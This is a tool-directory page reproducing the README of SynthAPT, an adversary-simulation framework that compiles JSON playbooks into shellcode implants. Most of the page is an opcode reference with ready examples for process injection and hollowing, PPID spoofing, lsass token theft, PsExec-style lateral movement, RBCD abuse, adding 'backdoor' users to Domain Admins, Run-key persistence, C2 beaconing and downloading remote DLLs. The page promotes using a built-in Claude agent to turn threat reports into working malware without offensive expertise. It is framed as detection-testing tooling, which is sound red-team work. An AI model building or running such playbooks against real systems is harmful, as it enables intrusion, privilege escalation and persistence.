Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SynthAPT — Playbook-based adversary simulation framework that compiles JSON-defined attack paths into position-independent shellcode payloads for validating advanced detections and AI-based investigation agents. | Kitploit
Tools/GitHubGitHub/acedef/synthapt
Penetration Testing FrameworksPrivilege EscalationExploit FrameworksPayload GenerationLateral MovementShellcodePost-ExploitationCommand and ControlRed TeamingAI SecurityAdversarial Attack
2314734 months agoReviewed by Kitploit
GitHub
acedef/synthapt

SynthAPT

Playbook-based adversary simulation framework that compiles JSON-defined attack paths into position-independent shellcode payloads for validating advanced detections and AI-based investigation agents.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SynthAPT

Overview

SynthAPT is a playbook-based adversary simulation framework for replicating complex attack paths. It is designed for validating advanced detections and AI-based investigation agents. The core idea is that malware behavior can be expressed in JSON and compiled into functional malware, enabling rapid development of realistic scenarios using LLMs.

The core implant is a shellcode payload driven by a playbook interpreter. A playbook predefines the full attack path and the implant follows it, moving throughout the environment via process injection, lateral movement, etc. Each implant spawns as an independent thread with its own instruction set, so multi-stage attacks (e.g. initial access → privesc → lateral movement → exfiltration) are expressed as a graph of cooperating implants, all defined upfront in the playbook. This has three major advantages:

  1. Payloads can mimic real malware without C2 infrastructure - the full attack path is embedded in the payload and C2 interactions can be mocked
  2. Payloads are repeatable - they execute the entire attack path identically every time, making them suitable for regression testing detections
  3. LLMs can translate threat intelligence reports and blogs directly into working payloads, without requiring offensive expertise or building malware from scratch

Features

  • Position-independent shellcode - the implant is fully PIC and can be rolled into any loader or injector
  • Rich opcode library - execution, token manipulation, process injection, process hollowing, lateral movement, AD enumeration and modification, registry, services, and more
  • Self-replicating payloads - the implant can drop itself as an EXE or DLL with a different task set, enabling multi-stage delivery without a C2
  • Flexible output formats - compile a playbook to raw shellcode, a PE EXE, or a PE DLL
  • In-memory Python - a Python interpreter may be reflectively loaded at runtime, exposing all implant capabilities as a Python module for flexible scripting
  • NPC simulation - 'explorer' opcodes allow unzipping and launching payloads automatically in a way that automatically reproduces user-interaction artifacts (when injected into Explorer.exe)
  • TUI editor with LLM agent - a terminal-based playbook editor with an integrated Claude agent that can generate and edit playbooks from natural language or threat intelligence
  • BOF Loader - functionality may be extended with standard Beacon Object Files
  • Building from Source

    If you don't want to use the release you can compile it like so:

    1. cargo
    2. rustup
    3. binutils-mingw-w64-x86-64
    root@kitploit:~
    cargo install cargo-make
    rustup toolchain install nightly
    rustup target add x86_64-pc-windows-gnu --toolchain nightly                                                                                                                                                         
    sudo apt install gcc-mingw-w64-x86-64
    

    Build with cargo make:

    root@kitploit:~
    cargo make build
    ./target/release/synthapt
    

    This will compile the shellcode and the editor.

    Use

    Running SynthAPT without any commands will drop you into the editor. You can provide a Claude API key and view the changes as you prompt.

    root@kitploit:~
    SynthAPT playbook editor and compiler
    
    Usage: synthapt [COMMAND]
    
    Commands:
      edit          Open the TUI editor with a playbook loaded from PATH
      validate      Validate a playbook JSON file and print any errors
      export-skill  Export the agent system prompt as a Claude Code slash command skill
      compile       Compile a playbook to a payload
    

    If you want to use another LLM or a subscription, you can run synthapt export-skill and use that with whatever coding setup you have.

    It should spit out a JSON playbook. Compile it into a payload with the compile command:

    root@kitploit:~
    Compile a playbook to a payload
    
    Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
    
    Arguments:
      <PLAYBOOK>  Path to the playbook JSON file
      [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)
    
    Options:
      -e, --exe          Compile to PE EXE
      -d, --dll          Compile to PE DLL
      -b, --base <BASE>  Override the embedded base shellcode with a custom binary
      -h, --help         Print help
    

    Opcodes Reference

    Constants can be defined as strings, hex objects, or base64 objects:

    root@kitploit:~
    "constants": [
      "c:\\windows\\temp\\file.txt",
      { "hex": "deadbeef" },
      { "base64": "SGVsbG8=" }
    ]
    

    end (0x00)

    End of task set. Automatically appended by the compiler - you do not need to add it.


    store_result (0x01)

    Store the last operation result into a variable.

    FieldType
    varu16required
    root@kitploit:~
    { "op": "store_result", "var": 0 }
    

    get_shellcode (0x02)

    Return the current shellcode bytes with an optional task ID and/or magic value patched in.

    FieldType
    tasku8optional
    magicu32 hex string or numberoptional
    root@kitploit:~
    { "op": "get_shellcode" }
    { "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
    

    sleep (0x03)

    Sleep for the given number of milliseconds.

    FieldType
    msu32required
    root@kitploit:~
    { "op": "sleep", "ms": 5000 }
    

    run_command (0x04)

    Execute a command via cmd.exe.

    FieldType
    commandstringrequired
    root@kitploit:~
    { "op": "run_command", "command": "whoami /all" }
    

    get_cwd (0x05)

    Get the current working directory. No arguments.

    root@kitploit:~
    { "op": "get_cwd" }
    

    read_file (0x06)

    Read a file and return its contents.

    FieldType
    pathstringrequired
    root@kitploit:~
    { "op": "read_file", "path": "c:\\users\\public\\data.txt" }
    { "op": "read_file", "path": "%0" }
    

    write_file (0x07)

    Write bytes to a file.

    FieldType
    pathstringrequired
    contentbytesoptional (empty file if omitted)
    root@kitploit:~
    { "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
    { "op": "write_file", "path": "%0", "content": "$1" }
    

    check_error (0x08)

    Print the status code of a variable (0 = success, non-zero = error).

    FieldType
    varu16required
    root@kitploit:~
    { "op": "check_error", "var": 0 }
    

    conditional (0x09)

    Branch to different task indices based on variable state.

    FieldType
    mode"data" or "error"required
    var1u16required
    var2u16optional (compare two vars instead of single check)
    trueu16required (task index if condition is true)
    falseu16required (task index if condition is false)

    true_target and false_target are accepted as aliases for true and false.

    Single-variable modes:

    • "data" — true if var1 has non-empty data
    • "error" — true if var1 status is 0 (success)

    Two-variable modes (var2 present):

    • "data" — true if var1 data equals var2 data
    • "error" — true if var1 error code equals var2 error code
    root@kitploit:~
    { "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
    { "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
    

    set_var (0x0A)

    Set a variable to a literal value.

    FieldType
    varu16required
    databytesoptional (empty if omitted)

    Literal string and hex/base64 values are stored with a 5-byte result prefix so they look like normal operation results when read back. Variable ($n) and constant (%n) references are passed through as-is.

    root@kitploit:~
    { "op": "set_var", "var": 0, "data": "hello world" }
    { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
    

    print_var (0x0B)

    Print a variable's contents to stdout (debug). Omit var to print the last operation result.

    FieldType
    varu16optional (prints last result if absent)
    root@kitploit:~
    { "op": "print_var", "var": 0 }
    { "op": "print_var" }
    

    goto (0x0C)

    Unconditional jump to a task index within the current task set.

    FieldType
    targetu16required
    root@kitploit:~
    { "op": "goto", "target": 2 }
    

    migrate (0x0D)

    Inject shellcode into a process matching a search string or PID.

    FieldType
    task_idu8required
    searchstring or numberoptional (empty = no search; number = target PID)
    magicu32 hex string or numberoptional
    root@kitploit:~
    { "op": "migrate", "task_id": 1, "search": "explorer.exe" }
    { "op": "migrate", "task_id": 1, "search": 1234 }
    { "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
    

    list_procs (0x0E)

    List running processes. Returns tab-separated lines: pid\timage\tcmdline\n. No arguments.

    root@kitploit:~
    { "op": "list_procs" }
    

    get_const (0x0F)

    Load a constant into the last result. Accepts index or const_idx as the field name.

    FieldType
    indexu16required
    root@kitploit:~
    { "op": "get_const", "index": 0 }
    

    wmi_exec (0x10)

    Execute a command via WMI, optionally on a remote host.

    FieldType
    commandstringrequired
    hoststringoptional (empty = localhost)
    userstringoptional (empty = current user)
    passstringoptional (empty = current credentials)
    root@kitploit:~
    { "op": "wmi_exec", "command": "calc.exe" }
    { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\\admin", "pass": "Password1" }
    

    http_send (0x11)

    Send an HTTP/S request.

    FieldType
    hoststringrequired
    methodstringoptional (default: "GET")
    portu16optional (default: 80)
    pathstringoptional (default: "/")
    securebooloptional (default: false)
    bodybytesoptional (empty if omitted)
    root@kitploit:~
    { "op": "http_send", "host": "example.com" }
    { "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
    

    sacrificial (0x12)

    Spawn a process suspended, inject shellcode, and resume it.

    FieldType
    imagestringrequired
    task_idu8required
    pipe_namestringoptional (named pipe for output capture, without \\.\pipe\ prefix)
    searchstringoptional (process name/cmdline to spoof PPID from)
    no_killbooloptional (default: false — process is killed after injection)
    root@kitploit:~
    { "op": "sacrificial", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
    { "op": "sacrificial", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }
    

    redirect_stdout (0x13)

    Redirect stdout to a file or named pipe. Subsequent run_command output goes there.

    FieldType
    pathstringrequired
    root@kitploit:~
    { "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
    { "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
    

    shellcode_server (0x14)

    Start a TCP server that serves shellcode to connecting clients. Each client receives a copy with an incrementing magic value.

    FieldType
    portu16required
    magic_baseu32 hex string or numberoptional
    root@kitploit:~
    { "op": "shellcode_server", "port": 8080 }
    { "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }
    

    resolve_hostname (0x15)

    Resolve a hostname to an IPv4 address string.

    FieldType
    hostnamestringrequired
    root@kitploit:~
    { "op": "resolve_hostname", "hostname": "dc01.corp.local" }
    

    psexec (0x16)

    Copy a binary to a remote host via SMB and execute it as a service (PsExec-style lateral movement).

    FieldType
    targetstringrequired (hostname or IP)
    service_namestringrequired
    display_namestringrequired
    binary_pathstringrequired (path on the remote host)
    service_binbytesrequired (binary data to write)
    root@kitploit:~
    { "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\\windows\\temp\\svc.exe", "service_bin": "$0" }
    

    generate_exe (0x17)

    Generate a PE executable with the current shellcode and bytecode embedded.

    FieldType
    task_idu8required
    root@kitploit:~
    { "op": "generate_exe", "task_id": 1 },
    { "op": "store_result", "var": 0 },
    { "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
    

    run_bof (0x18)

    Execute a Beacon Object File (BOF).

    FieldType
    bof_databytesrequired
    entrystringoptional (default: "go")
    inputsbytesoptional (BOF arguments, empty if omitted)
    root@kitploit:~
    { "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
    { "op": "run_bof", "bof_data": "$0" }
    

    query_ldap (0x19)

    Query an LDAP directory.

    FieldType
    basestringrequired (base DN)
    filterstringrequired
    scopeu8optional (default: 2 = subtree; 0 = base, 1 = one-level)
    attributestringoptional (empty = return all attributes)
    root@kitploit:~
    { "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
    { "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
    

    set_ad_attr_str (0x1A)

    Set an Active Directory attribute to a string value.

    FieldType
    dnstringrequired
    attrstringrequired
    valuestringrequired
    root@kitploit:~
    { "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }
    

    set_ad_attr_bin (0x1B)

    Set an Active Directory attribute to a binary value. Pass an empty value to delete the attribute.

    FieldType
    dnstringrequired
    attrstringrequired
    valuebytesrequired (empty = delete attribute)
    root@kitploit:~
    { "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
    

    portscan (0x1C)

    Scan TCP ports on one or more targets. Returns host\tport\n lines for open ports only.

    FieldType
    targetsstringrequired (comma-separated IPs, CIDRs, ranges, or hostnames; alias: host)
    portsstringrequired (comma-separated ports or ranges, e.g. "22,80,443,8000-8100")
    root@kitploit:~
    { "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
    { "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }
    

    set_user_password (0x1D)

    Set a local or domain user's password via NetUserSetInfo.

    FieldType
    usernamestringrequired
    passwordstringrequired
    serverstringoptional (empty = local machine)
    root@kitploit:~
    { "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
    { "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
    

    add_user_to_localgroup (0x1E)

    Add a user to a local group via NetLocalGroupAddMembers.

    FieldType
    groupstringrequired
    usernamestringrequired
    serverstringoptional (empty = local machine)
    root@kitploit:~
    { "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
    { "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\\attacker" }
    

    remove_user_from_localgroup (0x1F)

    Remove a user from a local group via NetLocalGroupDelMembers.

    FieldType
    groupstringrequired
    usernamestringrequired
    serverstringoptional (empty = local machine)
    root@kitploit:~
    { "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
    

    get_user_sid (0x20)

    Look up a user's SID string via LookupAccountName.

    FieldType
    usernamestringrequired
    serverstringoptional (empty = local machine)

    Returns a SID string, e.g. S-1-5-21-....

    root@kitploit:~
    { "op": "get_user_sid", "username": "Administrator" }
    { "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
    

    add_user_to_group (0x21)

    Add a user to a domain group via NetGroupAddUser.

    FieldType
    groupstringrequired
    usernamestringrequired
    serverstringoptional (empty = local DC)
    root@kitploit:~
    { "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
    

    remove_user_from_group (0x22)

    Remove a user from a domain group via NetGroupDelUser.

    FieldType
    groupstringrequired
    usernamestringrequired
    serverstringoptional (empty = local DC)
    root@kitploit:~
    { "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
    

    create_rbcd_ace (0x23)

    Build a binary ACE for Resource-Based Constrained Delegation. The result is suitable for writing directly to msDS-AllowedToActOnBehalfOfOtherIdentity.

    FieldType
    sidstringrequired (SID string, e.g. from get_user_sid)
    root@kitploit:~
    { "op": "get_user_sid", "username": "attacker$" },
    { "op": "store_result", "var": 0 },
    { "op": "create_rbcd_ace", "sid": "$0" },
    { "op": "store_result", "var": 1 },
    { "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
    

    reg_create_key (0x24)

    Create a registry key.

    FieldType
    keystringrequired (full path, e.g. "HKLM\\SOFTWARE\\MyApp")
    root@kitploit:~
    { "op": "reg_create_key", "key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" }
    

    reg_delete_key (0x25)

    Delete a registry key.

    FieldType
    keystringrequired
    root@kitploit:~
    { "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
    

    reg_set_value (0x26)

    Set a registry value.

    FieldType
    keystringrequired
    value_namestringrequired (empty string for default value)
    valuebytesrequired
    value_typestringoptional (default: "REG_SZ"; also: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD)
    root@kitploit:~
    { "op": "reg_set_value", "key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "value_name": "Updater", "value": "C:\\Windows\\Temp\\payload.exe" }
    { "op": "reg_set_value", "key": "HKLM\\SOFTWARE\\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }
    

    reg_query_value (0x27)

    Query a registry value. Returns raw value bytes.

    FieldType
    keystringrequired
    value_namestringrequired (empty string for default value)
    root@kitploit:~
    { "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
    

    make_token (0x28)

    Create an impersonation token via LogonUser and impersonate it. The default logon type is 9 (LOGON32_LOGON_NEW_CREDENTIALS), which uses the supplied credentials for outbound network connections while keeping the local token unchanged.

    FieldType
    usernamestringrequired
    passwordstringrequired
    domainstringoptional (empty = workgroup or UPN format)
    logon_typeu8optional (default: 9; 2 = interactive, 3 = network)
    root@kitploit:~
    { "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
    { "op": "make_token", "username": "[email protected]", "password": "Password1" }
    { "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }
    

    impersonate_process (0x29)

    Open a process token and impersonate it. Useful for privilege escalation or lateral token theft.

    FieldType
    searchstringrequired (matches image name or command line)
    root@kitploit:~
    { "op": "impersonate_process", "search": "lsass" }
    { "op": "impersonate_process", "search": "winlogon.exe" }
    

    enable_privilege (0x2A)

    Enable a privilege on a process token.

    FieldType
    privilegestringrequired (alias: priv_name)
    searchstringoptional (empty = current process)
    root@kitploit:~
    { "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
    { "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }
    

    list_process_privs (0x2B)

    List privilege names and their enabled/disabled state for a process. Returns name\tenabled\n or name\tdisabled\n lines.

    FieldType
    searchstringoptional (empty = current process)
    root@kitploit:~
    { "op": "list_process_privs" }
    { "op": "list_process_privs", "search": "explorer" }
    

    list_thread_privs (0x2C)

    List privileges on the current thread token. Returns the same format as list_process_privs. No arguments.

    root@kitploit:~
    { "op": "list_thread_privs" }
    

    delete_file (0x2D)

    Delete a file.

    FieldType
    pathstringrequired
    root@kitploit:~
    { "op": "delete_file", "path": "c:\\temp\\payload.exe" }
    

    revert_to_self (0x2E)

    Revert to the original process token, ending any impersonation. No arguments.

    root@kitploit:~
    { "op": "revert_to_self" }
    

    start_service (0x2F)

    Start a Windows service.

    FieldType
    service_namestringrequired
    targetstringoptional (empty = local machine)
    root@kitploit:~
    { "op": "start_service", "service_name": "MySvc" }
    { "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
    

    delete_service (0x30)

    Delete a Windows service.

    FieldType
    service_namestringrequired
    targetstringoptional (empty = local machine)
    root@kitploit:~
    { "op": "delete_service", "service_name": "MySvc" }
    { "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" }
    

    create_thread (0x31)

    Spawn a new thread in the current process running a copy of the shellcode. If magic is omitted, scans process heaps to find a unique magic that won't collide with existing instances.

    FieldType
    tasku8optional (omit or 255 = same task set as current thread)
    magicu32 hex string or numberoptional (auto-detected if omitted)

    Warning: omitting task runs the same task set in a new thread. If the task set calls create_thread again, this causes infinite threads.

    root@kitploit:~
    { "op": "create_thread", "task": 2 }
    { "op": "create_thread", "task": 2, "magic": "0x18181818" }
    

    generate_dll (0x32)

    Generate a DLL with the current shellcode embedded. Runs shellcode on DLL_PROCESS_ATTACH and exports a named function that also runs shellcode.

    FieldType
    task_idu8required
    export_namestringoptional (default: "Run")
    root@kitploit:~
    { "op": "generate_dll", "task_id": 2 },
    { "op": "store_result", "var": 0 },
    { "op": "write_file", "path": "c:\\temp\\payload.dll", "content": "$0" }
    

    shell_execute (0x33)

    Execute a file using ShellExecuteEx via COM. The resulting process appears to be launched by the shell.

    FieldType
    pathstringrequired
    verbstringoptional (e.g. "open", "runas")
    argsstringoptional
    root@kitploit:~
    { "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
    { "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
    

    shell_extract (0x34)

    Extract a ZIP archive using the Windows Shell.

    FieldType
    pathstringrequired (path to the ZIP file)

    Extracts to a folder with the same name as the ZIP (without extension) in the same directory.

    root@kitploit:~
    { "op": "shell_extract", "path": "C:\\Users\\alice\\Downloads\\Invoice_2024.zip" }
    

    shell_execute_explorer (0x35)

    Execute a file via explorer.exe as the parent process using COM. The spawned process appears to have been launched by the user from Explorer.

    FieldType
    pathstringrequired
    verbstringoptional
    argsstringoptional
    root@kitploit:~
    { "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
    

    load_library (0x36)

    Load a DLL into the current process via LoadLibraryW.

    FieldType
    pathstringrequired
    root@kitploit:~
    { "op": "load_library", "path": "C:\\Users\\Public\\payload.dll" }
    

    pyexec (0x37)

    Download a Python DLL from a URL (cached in memory after first download), then execute a Python script. Exposes an agent module with bindings to all agent opcodes.

    FieldType
    urlstringoptional (URL to Python DLL; empty = use already-loaded Python)
    scriptstringoptional (Python code to execute; empty = initialize without running)
    root@kitploit:~
    { "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
    { "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
    { "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
    

    hollow (0x38)

    Process hollowing: spawn a legitimate process suspended, overwrite its entry point with shellcode, and resume.

    FieldType
    imagestringrequired
    task_idu8required
    searchstringoptional (process name/cmdline to spoof PPID from)
    root@kitploit:~
    { "op": "hollow", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1 }
    { "op": "hollow", "image": "C:\\Windows\\System32\\RuntimeBroker.exe", "task_id": 1, "search": "explorer" }
    

    migrate_apc (0x39)

    Spawn a process suspended, allocate RWX memory, write shellcode, queue an APC to the main thread, and resume. Returns the spawned process PID.

    FieldType
    imagestringrequired
    task_idu8required
    magicu32 hex string or numberoptional
    root@kitploit:~
    { "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
    { "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
    

    register_service (0x3A)

    Register the current process as a Windows service by calling StartServiceCtrlDispatcher. Must be called early when the process is started by the Service Control Manager, otherwise SCM will kill it after ~30 seconds. Runs SCM communication in a background thread so the main task set continues normally.

    FieldType
    service_namestringrequired (alias: name)
    root@kitploit:~
    { "op": "register_service", "service_name": "MySvc" }
    

    exit_process (0x3B)

    Terminate the current process.

    FieldType
    exit_codeu32optional (default: 0)
    root@kitploit:~
    { "op": "exit_process" }
    { "op": "exit_process", "exit_code": 1 }
    

    hollow_apc (0x3C)

    Spawn a process suspended and inject shellcode via APC. Similar to migrate_apc but with optional PPID spoofing.

    FieldType
    imagestringrequired
    task_idu8required
    searchstringoptional (process name/cmdline to spoof PPID from)
    root@kitploit:~
    { "op": "hollow_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
    { "op": "hollow_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "search": "services.exe" }
    

    frida_hook (0x3F)

    Download a Frida gadget DLL from a URL (cached after first download) and install a JavaScript hook.

    FieldType
    urlstringrequired
    scriptstringrequired (JavaScript using Frida's API)
    namestringoptional (hook name for later reference with frida_unhook)
    callback_hoststringoptional (host to HTTP POST send() messages to)
    callback_portu16optional
    batch_sizeu32optional (messages per HTTP POST batch; default: 50)
    flush_intervalu32optional (flush interval in ms; default: 5000)

    Messages sent via send() in JavaScript are either posted to callback_host:callback_port/frida or written to stdout if no callback is configured.

    root@kitploit:~
    { "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
    { "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
    

    frida_unhook (0x40)

    Unload a Frida hook. With no arguments, unloads all hooks.

    FieldType
    hook_idi32optional (hook ID returned by frida_hook)
    namestringoptional (hook name set with frida_hook name field)
    root@kitploit:~
    { "op": "frida_unhook" }
    { "op": "frida_unhook", "hook_id": 1 }
    { "op": "frida_unhook", "name": "my_hook" }
    

    kill (0x42)

    Kill a running agent instance by its magic value.

    FieldType
    magicu32 hex string or numberoptional (omit to kill the current instance)
    root@kitploit:~
    { "op": "kill" }
    { "op": "kill", "magic": "0x18181818" }
    

    http_beacon (0x43)

    Connect to an HTTP C2 server and poll for bytecode tasks.

    FieldType
    hoststringoptional
    portu16optional (default: 80)
    intervalu32optional (poll interval in ms; default: 5000)
    securebooloptional (default: false)
    agent_idstringoptional (identifier sent in beacon requests)
    root@kitploit:~
    { "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }
    

    mem_read (0x44)

    Read raw bytes from a memory address in the current or a remote process.

    FieldType
    addresshex stringrequired (address as hex chars, e.g. "7FFE0030"; 0x prefix is stripped automatically)
    sizeu32required
    pidu32optional (remote process; omit for local read)
    root@kitploit:~
    { "op": "mem_read", "address": "7FFE0030", "size": 64 }
    { "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
    { "op": "mem_read", "address": "$0", "size": 128 }
    

    dll_list (0x45)

    Walk the PEB LDR InLoadOrderModuleList and return loaded modules. Returns postcard-serialized Vec<ProcessResult<ModuleInfo>>.

    FieldType
    pidu32 or "all"optional (omit = current process; "all" = every accessible process)
    root@kitploit:~
    { "op": "dll_list" }
    { "op": "dll_list", "pid": 1234 }
    { "op": "dll_list", "pid": "all" }
    

    mem_map (0x46)

    Enumerate virtual memory regions via VirtualQuery/VirtualQueryEx. Returns postcard-serialized Vec<ProcessResult<MemRegion>>. Skips FREE regions; IMAGE regions include module name and PE section.

    FieldType
    pidu32 or "all"optional (omit = current process; "all" = every accessible process)
    root@kitploit:~
    { "op": "mem_map" }
    { "op": "mem_map", "pid": 1234 }
    { "op": "mem_map", "pid": "all" }
    

    malfind (0x47)

    Find committed private executable memory regions — indicators of injected shellcode or reflective DLLs. Skips all-zero pages and notes regions with MZ headers. Returns postcard-serialized Vec<ProcessResult<MalfindHit>>.

    FieldType
    pidu32 or "all"optional (omit = current process; "all" = every accessible process)
    root@kitploit:~
    { "op": "malfind" }
    { "op": "malfind", "pid": 1234 }
    { "op": "malfind", "pid": "all" }
    

    ldr_check (0x48)

    Cross-reference IMAGE memory regions against the PEB module list to find unlinked or hidden DLLs — regions with MZ headers not present in InLoadOrderModuleList. Returns postcard-serialized Vec<ProcessResult<LdrCheckHit>>.

    FieldType
    pidu32 or "all"optional (omit = current process; "all" = every accessible process)
    root@kitploit:~
    { "op": "ldr_check" }
    { "op": "ldr_check", "pid": 1234 }
    { "op": "ldr_check", "pid": "all" }
    

    Detection

    Like all frameworks, the implant has a distinct in-memory footprint, and many plaintext strings that give it away. You can build signatures off the base shellcode file: out/shellcode.bin

    Attribution

    This project extends Rustic64Shell by safedev.

    The reflectively loaded Python DLL is from farfella

    Download Tool